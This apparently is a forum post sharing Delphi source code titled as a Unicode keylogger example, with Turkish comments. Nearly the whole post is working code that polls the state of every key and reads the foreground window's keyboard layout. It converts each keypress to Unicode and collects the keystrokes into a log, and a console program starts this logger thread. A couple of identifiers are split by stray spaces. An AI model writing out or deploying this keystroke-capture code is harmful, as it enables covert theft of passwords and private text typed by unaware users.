[Delphi]-Unicode Keylogger Example

[HAHo_tech]

unit UnitKeyLogger;

interface

uses
Windows,Classes;

type
TUnicodeKeylogger = class(TThread)
private
{ Private declarations }
public
FActiveBackSpace:Boolean;
FullLogData : String;
function IsKeyPressed(KeyCode: Integer): Boolean;
procedure AddKey(StrKey: String);
protected
procedure Execute; override;
end;

implementation

procedure TUnicodeKeylogger.AddKey(StrKey: String);
begin
FullLogData := FullLogData + StrKey;
Write(StrKey);
end;

function TUnicodeKeylogger.IsKeyPressed(KeyCode: Integer): Boolean;
begin
result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
end;

procedure TUnicodeKeylogger.Execute;
var
VirtKey : UINT;
ScanCode : UINT;
UniEx : Integer;
keyboardLayout : HKL;
keyboardSpeed : Integer;
keyboardState : TKeyboardState;
strBuffer : String;
UnicodeChar : array[0..1] of WChar;
strkeyname : Array[0..32] of Char;
dwThread : DWORD;
dwProcess : DWORD;
dwHandle : HWND;
BEGIN
Windows.SystemParametersInfo(Windows.SPI_GETKEYBOA RDSPEED, 0, @keyboardSpeed, 0);
WHILE NOT Terminated DO
BEGIN
Windows.GetKeyState(VK_CAPITAL);
Windows.GetKeyboardState(keyboardState);
dwHandle:= Windows.GetForegroundWindow();
dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProce ss);
keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
FOR VirtKey := 0 TO $FF DO
IF IsKeyPressed(VirtKey) THEN
BEGIN
IF VirtKey = 8 THEN // silmeye basilirsa
BEGIN
IF FActiveBackSpace THEN
BEGIN
Delete(FullLogData, Length(FullLogData), 1);
END
ELSE
BEGIN
Continue;
END;
END;
ScanCode := Windows.MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
Windows.GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
IF Windows.lstrlenA(strkeyname) > 1 THEN
BEGIN
IF VirtKey = VK_SPACE THEN strkeyname := ' '; // bosluk tusu
IF VirtKey = VK_RETURN THEN strkeyname := #13#10; // enter tusu
AddKey(strkeyname);
Continue;
END;
UniEx := Windows.ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
strBuffer := UnicodeChar;
SetLength(strBuffer,UniEx);
AddKey(strBuffer);
END;
Sleep(keyboardSpeed DIV 4);
END;
END;

END.

program Lib;

{$APPTYPE CONSOLE}

uses
Windows,
UnitKeyLogger in 'UnitKeyLogger.pas';

VAR
Msg : TMsg;
Keylogger:TUnicodeKeylogger ;
LangID : Cardinal;
begin
{ TODO -oUser -cConsole Main : Insert code here }
LangID:=Windows.GetUserDefaultLangID;
Windows.SetThreadLocale(LangID);
Keylogger:=TUnicodeKeylogger.Create(False);
Keylogger.Resume;

While Windows.GetMessage(Msg,0,0,0) Do
Begin
Windows.TranslateMessage(Msg);
Windows.DispatchMessageA(Msg);
End;
end.

Источник ([Ссылки могут видеть только зарегистрированные и активированные пользователи])